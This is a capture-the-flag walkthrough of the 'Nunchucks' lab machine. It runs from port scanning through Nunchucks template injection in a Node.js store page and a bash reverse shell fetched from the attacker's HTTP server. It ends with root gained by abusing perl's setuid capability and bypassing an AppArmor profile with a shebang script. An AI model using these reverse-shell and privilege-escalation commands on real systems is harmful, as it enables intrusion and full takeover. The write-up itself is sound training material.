Nunchucks starts with a Server-Side Template Injection using the Nunchucks template, yes, the machine name is a hint.

We will get a reverse shell, and for root we will be abusing perl but it’s not that easy because AppArmor is deployed, we will have to bypass it and get to root.

Recon

Nmap

Nmap finds three open ports:

❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.95.252 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 21:32 -05
Initiating SYN Stealth Scan at 21:32
Scanning 10.129.95.252 [65535 ports]
Discovered open port 80/tcp on 10.129.95.252
Discovered open port 443/tcp on 10.129.95.252
Discovered open port 22/tcp on 10.129.95.252
Completed SYN Stealth Scan at 21:32, 14.57s elapsed (65535 total ports)
Nmap scan report for 10.129.95.252
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.73 seconds
           Raw packets sent: 71258 (3.135MB) | Rcvd: 71258 (2.850MB)

With nmap parameters -sCV we can take a deeper look into these ports:

❯ nmap -sCV -p22,80,443 10.129.95.252 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 21:33 -05
Nmap scan report for 10.129.95.252
Host is up (0.17s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
| tls-nextprotoneg:
|_  http/1.1
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.38 seconds

HTTPS server

In the scan we see the domain nunchucks.htb, we have to add it to the /etc/hosts so our machine knows where this domain belongs to:

Connection from 192.168.10.21:45050
127.0.0.1	localhost
127.0.1.1	h4ckn3t

10.129.95.252   nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

As we can’t do anything with the SSH port, let’s go take a look to the website:

Hello Friend

Subdomain fuzzing

It looks very static, I don’t think there’s much we can do here so as we have a domain let’s fuzz for subdomains with gobuster:

❯ gobuster vhost -u https://nunchucks.htb -t 200 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -k

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          https://nunchucks.htb
[+] Method:       GET
[+] Threads:      200
[+] Wordlist:     /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/07/14 21:42:41 Starting gobuster in VHOST enumeration mode
===============================================================
Found: store.nunchucks.htb (Status: 200) [Size: 4029]

===============================================================
2022/07/14 21:42:47 Finished
===============================================================

store.nunchucks.htb is valid so let’s add it to the /etc/hosts and take a look:

Hello Friend

We have an input field:

Hello Friend

SSTI

As usual let’s try some injections:

Hello Friend

The Server Side Template Injection test works well, but after trying with the usual payloads we don’t get command execution.

The website is running Node.js, after doing some research we get this:

Hello Friend

This is very similar to the machine’s name so maybe it’s a clue to what we have to do:

Hello Friend

For this to work we need to do it with Burp so let’s intercept the petition and test the payload with the command id:

Hello Friend Hello Friend

It works! I will get a reverse shell sharing a HTTP server with the bash reverse shell as index.html.

From the injection I will curl to my server and execute the index with bash, getting a reverse shell to my netcat:

Hello Friend
❯ echo 'bash -i >& /dev/tcp/10.10.14.161/334 0>&1' > index.html

❯ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.252 - - [14/Jul/2022 22:03:22] "GET / HTTP/1.1" 200 -
❯ nc -lvnp 334

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.95.252.
Ncat: Connection from 10.129.95.252:33716.
bash: cannot set terminal process group (1041): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$

It works, now let’s turn this shell into an interactive tty:

david@nunchucks:/var/www/store.nunchucks$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
david@nunchucks:/var/www/store.nunchucks$ ^-lvnp 3
zsh: suspended  nc -lvnp 334

❯ stty raw -echo; fg
[1]  + continued  nc -lvnp 334
                              reset xterm

And some final touches like the screen size:

david@nunchucks:/var/www/store.nunchucks$ export TERM=xterm
david@nunchucks:/var/www/store.nunchucks$ export SHELL=bash
david@nunchucks:/var/www/store.nunchucks$ stty rows 40 columns 145

Inside david’s home directory we can see the user flag:

david@nunchucks:~$ ls
user.txt
david@nunchucks:~$ cat user.txt
ef0b6a7c099f7*******************

Privilege escalation

Enumeration

With getcap we can check for the capabilities our user has:

david@nunchucks:~$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Abusing perl setuid capability

/usr/bin/perl has cap_setuid+ep this means, if we manage to execute commands with this binary we could change our uid, if we make it 0 we will execute commands as root.

In GTFOBins we find a way to exploit this capability:

Hello Friend

For some reason it doesn’t work, only for some commands as whoami:

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

There’s must be some sort of restriction going on so let’s keep enumerating:

david@nunchucks:/$ find \-name perl 2>/dev/null
./usr/bin/perl
./usr/lib/x86_64-linux-gnu/perl
./usr/share/perl
./usr/share/doc/perl
./usr/share/bash-completion/completions/perl
./usr/share/bash-completion/helpers/perl
./usr/share/lintian/overrides/perl
./usr/src/linux-headers-5.4.0-86/tools/perf/scripts/perl
./usr/src/linux-headers-5.4.0-81/tools/perf/scripts/perl
./etc/perl
./etc/apparmor.d/abstractions/perl

There’s something about AppArmor, which is a security module that allows to restric a program’s capabilities.

In /etc/apparmor.d we can find the information about perl:

david@nunchucks:/etc/apparmor.d$ ls
abstractions  force-complain  lsb_release      sbin.dhclient  usr.bin.man   usr.sbin.ippusbxd  usr.sbin.rsyslogd
disable       local           nvidia_modprobe  tunables       usr.bin.perl  usr.sbin.mysqld    usr.sbin.tcpdump
david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}

If we do some research about AppArmor and perl we find information about a bug:

Hello Friend

Basically if we put the shebang #!/usr/bin/perl in a .sh file the AppArmor preventions are bypassed, let’s check this:

avid@nunchucks:~$ cat pwned.sh
#!/usr/bin/perl

use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
david@nunchucks:~$ ./pwned.sh
# whoami
root

It works and now we are root!

This means we have access to the root.txt:

# cat /root/root.txt
549ffc4ed0750*******************

See you next time!